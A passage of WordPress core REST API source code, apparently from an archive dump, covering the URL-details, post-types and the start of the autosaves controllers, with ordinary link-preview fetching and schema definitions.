		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'url-details';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'parse_url_details' ),
					'args'                => array(
						'url' => array(
							'required'          => true,
							'description'       => __( 'The URL to process.' ),
							'validate_callback' => 'wp_http_validate_url',
							'sanitize_callback' => 'sanitize_url',
							'type'              => 'string',
							'format'            => 'uri',
						),
					),
					'permission_callback' => array( $this, 'permissions_check' ),
					'schema'              => array( $this, 'get_public_item_schema' ),
				),
			)
		);
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'url-details',
			'type'       => 'object',
			'properties' => array(
				'title'       => array(
					'description' => sprintf(
						/* translators: %s: HTML title tag. */
						__( 'The contents of the %s element from the URL.' ),
						'<title>'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'icon'        => array(
					'description' => sprintf(
						/* translators: %s: HTML link tag. */
						__( 'The favicon image link of the %s element from the URL.' ),
						'<link rel="icon">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => sprintf(
						/* translators: %s: HTML meta tag. */
						__( 'The content of the %s element from the URL.' ),
						'<meta name="description">'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'image'       => array(
					'description' => sprintf(
						/* translators: 1: HTML meta tag, 2: HTML meta tag. */
						__( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ),
						'<meta property="og:image">',
						'<meta property="og:image:url">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the contents of the title tag from the HTML response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors.
	 */
	public function parse_url_details( $request ) {
		$url = untrailingslashit( $request['url'] );

		if ( empty( $url ) ) {
			return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) );
		}

		// Transient per URL.
		$cache_key = $this->build_cache_key_for_url( $url );

		// Attempt to retrieve cached response.
		$cached_response = $this->get_cache( $cache_key );

		if ( ! empty( $cached_response ) ) {
			$remote_url_response = $cached_response;
		} else {
			$remote_url_response = $this->get_remote_url( $url );

			// Exit if we don't have a valid body or it's empty.
			if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) {
				return $remote_url_response;
			}

			// Cache the valid response.
			$this->set_cache( $cache_key, $remote_url_response );
		}

		$html_head     = $this->get_document_head( $remote_url_response );
		$meta_elements = $this->get_meta_with_content_elements( $html_head );

		$data = $this->add_additional_fields_to_object(
			array(
				'title'       => $this->get_title( $html_head ),
				'icon'        => $this->get_icon( $html_head, $url ),
				'description' => $this->get_description( $meta_elements ),
				'image'       => $this->get_image( $meta_elements, $url ),
			),
			$request
		);

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		/**
		 * Filters the URL data for the response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response            The response object.
		 * @param string           $url                 The requested URL.
		 * @param WP_REST_Request  $request             Request object.
		 * @param string           $remote_url_response HTTP response body from the remote URL.
		 */
		return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response );
	}

	/**
	 * Checks whether a given request has permission to read remote URLs.
	 *
	 * @since 5.9.0
	 *
	 * @return true|WP_Error True if the request has permission, else WP_Error.
	 */
	public function permissions_check() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_url_details',
			__( 'Sorry, you are not allowed to process remote URLs.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves the document title from a remote URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The website URL whose HTML to access.
	 * @return string|WP_Error The HTTP response from the remote URL on success.
	 *                         WP_Error if no response or no content.
	 */
	private function get_remote_url( $url ) {

		/*
		 * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks".
		 * Why? The UA string used for pingback requests contains `WordPress/` which is very similar
		 * to that used as the default UA string by the WP HTTP API. Therefore requests from this
		 * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests.
		 * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP")
		 * we are able to work around this issue.
		 * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`.
		*/
		$modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')';

		$args = array(
			'limit_response_size' => 150 * KB_IN_BYTES,
			'user-agent'          => $modified_user_agent,
		);

		/**
		 * Filters the HTTP request args for URL data retrieval.
		 *
		 * Can be used to adjust response size limit and other WP_Http::request() args.
		 *
		 * @since 5.9.0
		 *
		 * @param array  $args Arguments used for the HTTP request.
		 * @param string $url  The attempted URL.
		 */
		$args = apply_filters( 'rest_url_details_http_request_args', $args, $url );

		$response = wp_safe_remote_get( $url, $args );

		if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) {
			// Not saving the error response to cache since the error might be temporary.
			return new WP_Error(
				'no_response',
				__( 'URL not found. Response returned a non-200 status code for this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		$remote_body = wp_remote_retrieve_body( $response );

		if ( empty( $remote_body ) ) {
			return new WP_Error(
				'no_content',
				__( 'Unable to retrieve body from response at this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		return $remote_body;
	}

	/**
	 * Parses the title tag contents from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @return string The title tag contents on success. Empty string if not found.
	 */
	private function get_title( $html ) {
		$pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is';
		preg_match( $pattern, $html, $match_title );

		if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) {
			return '';
		}

		$title = trim( $match_title[1] );

		return $this->prepare_metadata_for_output( $title );
	}

	/**
	 * Parses the site icon from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @param string $url  The target website URL.
	 * @return string The icon URI on success. Empty string if not found.
	 */
	private function get_icon( $html, $url ) {
		// Grab the icon's link element.
		$pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU';
		preg_match( $pattern, $html, $element );
		if ( empty( $element[0] ) || ! is_string( $element[0] ) ) {
			return '';
		}
		$element = trim( $element[0] );

		// Get the icon's href value.
		$pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU';
		preg_match( $pattern, $element, $icon );
		if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) {
			return '';
		}
		$icon = trim( $icon[2] );

		// If the icon is a data URL, return it.
		$parsed_icon = parse_url( $icon );
		if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) {
			return $icon;
		}

		// Attempt to convert relative URLs to absolute.
		if ( ! is_string( $url ) || '' === $url ) {
			return $icon;
		}
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$icon     = WP_Http::make_absolute_url( $icon, $root_url );
		}

		return $icon;
	}

	/**
	 * Parses the meta description from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param array $meta_elements {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @return string The meta description contents on success. Empty string if not found.
	 */
	private function get_description( $meta_elements ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$description = $this->get_metadata_from_meta_element(
			$meta_elements,
			'name',
			'(?:description|og:description)'
		);

		// Bail out if description not found.
		if ( '' === $description ) {
			return '';
		}

		return $this->prepare_metadata_for_output( $description );
	}

	/**
	 * Parses the Open Graph (OG) Image from the provided HTML.
	 *
	 * See: https://ogp.me/.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $url The target website URL.
	 * @return string The OG image on success. Empty string if not found.
	 */
	private function get_image( $meta_elements, $url ) {
		$image = $this->get_metadata_from_meta_element(
			$meta_elements,
			'property',
			'(?:og:image|og:image:url)'
		);

		// Bail out if image not found.
		if ( '' === $image ) {
			return '';
		}

		// Attempt to convert relative URLs to absolute.
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$image    = WP_Http::make_absolute_url( $image, $root_url );
		}

		return $image;
	}

	/**
	 * Prepares the metadata by:
	 *    - stripping all HTML tags and tag entities.
	 *    - converting non-tag entities into characters.
	 *
	 * @since 5.9.0
	 *
	 * @param string $metadata The metadata content to prepare.
	 * @return string The prepared metadata.
	 */
	private function prepare_metadata_for_output( $metadata ) {
		$metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$metadata = wp_strip_all_tags( $metadata );
		return $metadata;
	}

	/**
	 * Utility function to build cache key for a given URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The URL for which to build a cache key.
	 * @return string The cache key.
	 */
	private function build_cache_key_for_url( $url ) {
		return 'g_url_details_response_' . md5( $url );
	}

	/**
	 * Utility function to retrieve a value from the cache at a given key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key The cache key.
	 * @return mixed The value from the cache.
	 */
	private function get_cache( $key ) {
		return get_site_transient( $key );
	}

	/**
	 * Utility function to cache a given data set at a given cache key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key  The cache key under which to store the value.
	 * @param string $data The data to be stored at the given cache key.
	 * @return bool True when transient set. False if not set.
	 */
	private function set_cache( $key, $data = '' ) {
		$ttl = HOUR_IN_SECONDS;

		/**
		 * Filters the cache expiration.
		 *
		 * Can be used to adjust the time until expiration in seconds for the cache
		 * of the data retrieved for the given URL.
		 *
		 * @since 5.9.0
		 *
		 * @param int $ttl The time until cache expiration in seconds.
		 */
		$cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl );

		return set_site_transient( $key, $data, $cache_expiration );
	}

	/**
	 * Retrieves the head element section.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to parse.
	 * @return string The `<head>..</head>` section on success. Given `$html` if not found.
	 */
	private function get_document_head( $html ) {
		$head_html = $html;

		// Find the opening `<head>` tag.
		$head_start = strpos( $html, '<head' );
		if ( false === $head_start ) {
			// Didn't find it. Return the original HTML.
			return $html;
		}

		// Find the closing `</head>` tag.
		$head_end = strpos( $head_html, '</head>' );
		if ( false === $head_end ) {
			// Didn't find it. Find the opening `<body>` tag.
			$head_end = strpos( $head_html, '<body' );

			// Didn't find it. Return the original HTML.
			if ( false === $head_end ) {
				return $html;
			}
		}

		// Extract the HTML from opening tag to the closing tag. Then add the closing tag.
		$head_html  = substr( $head_html, $head_start, $head_end );
		$head_html .= '</head>';

		return $head_html;
	}

	/**
	 * Gets all the meta tag elements that have a 'content' attribute.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to be parsed.
	 * @return array {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 */
	private function get_meta_with_content_elements( $html ) {
		/*
		 * Parse all meta elements with a content attribute.
		 *
		 * Why first search for the content attribute rather than directly searching for name=description element?
		 * tl;dr The content attribute's value will be truncated when it contains a > symbol.
		 *
		 * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as
		 * it's a string to the browser. Imagine what happens when attempting to match for the name=description
		 * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match
		 * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the
		 * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation".
		 * If this happens, what gets matched is not the entire element or all of the content.
		 *
		 * Why not search for the name=description and then content="(.*)"?
		 * The attribute order could be opposite. Plus, additional attributes may exist including being between
		 * the name and content attributes.
		 *
		 * Why not lookahead?
		 * Lookahead is not constrained to stay within the element. The first <meta it finds may not include
		 * the name or content, but rather could be from a different element downstream.
		 */
		$pattern = '#<meta\s' .

				/*
				 * Allows for additional attributes before the content attribute.
				 * Searches for anything other than > symbol.
				 */
				'[^>]*' .

				/*
				* Find the content attribute. When found, capture its value (.*).
				*
				* Allows for (a) single or double quotes and (b) whitespace in the value.
				*
				* Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				* i.e \1, for the closing quotation mark?
				* To ensure the closing quotation mark matches the opening one. Why? Attribute values
				* can contain quotation marks, such as an apostrophe in the content.
				*/
				'content=(["\']??)(.*)\1' .

				/*
				* Allows for additional attributes after the content attribute.
				* Searches for anything other than > symbol.
				*/
				'[^>]*' .

				/*
				* \/?> searches for the closing > symbol, which can be in either /> or > format.
				* # ends the pattern.
				*/
				'\/?>#' .

				/*
				* These are the options:
				* - i : case-insensitive
				* - s : allows newline characters for the . match (needed for multiline elements)
				* - U means non-greedy matching
				*/
				'isU';

		preg_match_all( $pattern, $html, $elements );

		return $elements;
	}

	/**
	 * Gets the metadata from a target meta element.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $attr       Attribute that identifies the element with the target metadata.
	 * @param string $attr_value The attribute's value that identifies the element with the target metadata.
	 * @return string The metadata on success. Empty string if not found.
	 */
	private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$metadata = '';
		$pattern  = '#' .
				/*
				 * Target this attribute and value to find the metadata element.
				 *
				 * Allows for (a) no, single, double quotes and (b) whitespace in the value.
				 *
				 * Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				 * i.e \1, for the closing quotation mark?
				 * To ensure the closing quotation mark matches the opening one. Why? Attribute values
				 * can contain quotation marks, such as an apostrophe in the content.
				 */
				$attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' .

				/*
				 * These are the options:
				 * - i : case-insensitive
				 * - s : allows newline characters for the . match (needed for multiline elements)
				 * - U means non-greedy matching
				 */
				'#isU';

		// Find the metadata element.
		foreach ( $meta_elements[0] as $index => $element ) {
			preg_match( $pattern, $element, $match );

			// This is not the metadata element. Skip it.
			if ( empty( $match ) ) {
				continue;
			}

			/*
			 * Found the metadata element.
			 * Get the metadata from its matching content array.
			 */
			if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) {
				$metadata = trim( $meta_elements[2][ $index ] );
			}

			break;
		}

		return $metadata;
	}
}
endpoints/class-wp-rest-post-types-controller.php000064400000033713151724720270016310 0ustar00<?php
/**
 * REST API: WP_REST_Post_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access post types via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'types';
	}

	/**
	 * Registers the routes for post types.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<type>[\w-]+)',
			array(
				'args'   => array(
					'type' => array(
						'description' => __( 'An alphanumeric identifier for the post type.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => '__return_true',
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public post types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$data  = array();
		$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

		foreach ( $types as $type ) {
			if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) {
				continue;
			}

			$post_type           = $this->prepare_item_for_response( $type, $request );
			$data[ $type->name ] = $this->prepare_response_for_collection( $post_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a specific post type.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_type_object( $request['type'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_type_invalid',
				__( 'Invalid post type.' ),
				array( 'status' => 404 )
			);
		}

		if ( empty( $obj->show_in_rest ) ) {
			return new WP_Error(
				'rest_cannot_read_type',
				__( 'Cannot view post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post type object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post_Type    $item    Post type object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post_type = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php */
			return apply_filters( 'rest_prepare_post_type', new WP_REST_Response( array() ), $post_type, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) );
		$taxonomies = wp_list_pluck( $taxonomies, 'name' );
		$base       = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
		$namespace  = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2';
		$supports   = get_all_post_type_supports( $post_type->name );

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'capabilities', $fields ) ) {
			$data['capabilities'] = $post_type->cap;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $post_type->description;
		}

		if ( rest_is_field_included( 'hierarchical', $fields ) ) {
			$data['hierarchical'] = $post_type->hierarchical;
		}

		if ( rest_is_field_included( 'has_archive', $fields ) ) {
			$data['has_archive'] = $post_type->has_archive;
		}

		if ( rest_is_field_included( 'visibility', $fields ) ) {
			$data['visibility'] = array(
				'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus,
				'show_ui'           => (bool) $post_type->show_ui,
			);
		}

		if ( rest_is_field_included( 'viewable', $fields ) ) {
			$data['viewable'] = is_post_type_viewable( $post_type );
		}

		if ( rest_is_field_included( 'labels', $fields ) ) {
			$data['labels'] = $post_type->labels;
		}

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $post_type->label;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post_type->name;
		}

		if ( rest_is_field_included( 'icon', $fields ) ) {
			$data['icon'] = $post_type->menu_icon;
		}

		if ( rest_is_field_included( 'supports', $fields ) ) {
			$data['supports'] = $supports;
		}

		if ( rest_is_field_included( 'taxonomies', $fields ) ) {
			$data['taxonomies'] = array_values( $taxonomies );
		}

		if ( rest_is_field_included( 'rest_base', $fields ) ) {
			$data['rest_base'] = $base;
		}

		if ( rest_is_field_included( 'rest_namespace', $fields ) ) {
			$data['rest_namespace'] = $namespace;
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			$data['template'] = $post_type->template ?? array();
		}

		if ( rest_is_field_included( 'template_lock', $fields ) ) {
			$data['template_lock'] = ! empty( $post_type->template_lock ) ? $post_type->template_lock : false;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $post_type ) );
		}

		/**
		 * Filters a post type returned from the REST API.
		 *
		 * Allows modification of the post type data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param WP_Post_Type     $post_type The original post type object.
		 * @param WP_REST_Request  $request   Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Post_Type $post_type The post type.
	 * @return array Links for the given post type.
	 */
	protected function prepare_links( $post_type ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ),
			),
		);
	}

	/**
	 * Retrieves the post type's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 4.8.0 The `supports` property was added.
	 * @since 5.9.0 The `visibility` and `rest_namespace` properties were added.
	 * @since 6.1.0 The `icon` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'type',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the post type should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'viewable'       => array(
					'description' => __( 'Whether or not the post type can be viewed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the post type for various contexts.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'supports'       => array(
					'description' => __( 'All features, supported by the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'has_archive'    => array(
					'description' => __( 'If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive.' ),
					'type'        => array( 'string', 'boolean' ),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'taxonomies'     => array(
					'description' => __( 'Taxonomies associated with post type.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST route\'s namespace for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'show_ui'           => array(
							'description' => __( 'Whether to generate a default UI for managing this post type.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus' => array(
							'description' => __( 'Whether to make the post type available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
					),
				),
				'icon'           => array(
					'description' => __( 'The icon for the post type.' ),
					'type'        => array( 'string', 'null' ),
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'template'       => array(
					'type'        => array( 'array' ),
					'description' => __( 'The block template associated with the post type.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'template_lock'  => array(
					'type'        => array( 'string', 'boolean' ),
					'enum'        => array( 'all', 'insert', 'contentOnly', false ),
					'description' => __( 'The template_lock associated with the post type, or false if none.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-autosaves-controller.php000064400000035606151724720270016176 0ustar00<?php
/**
 * REST API: WP_REST_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to access autosaves via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Revisions_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Autosaves_Controller extends WP_REST_Revisions_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
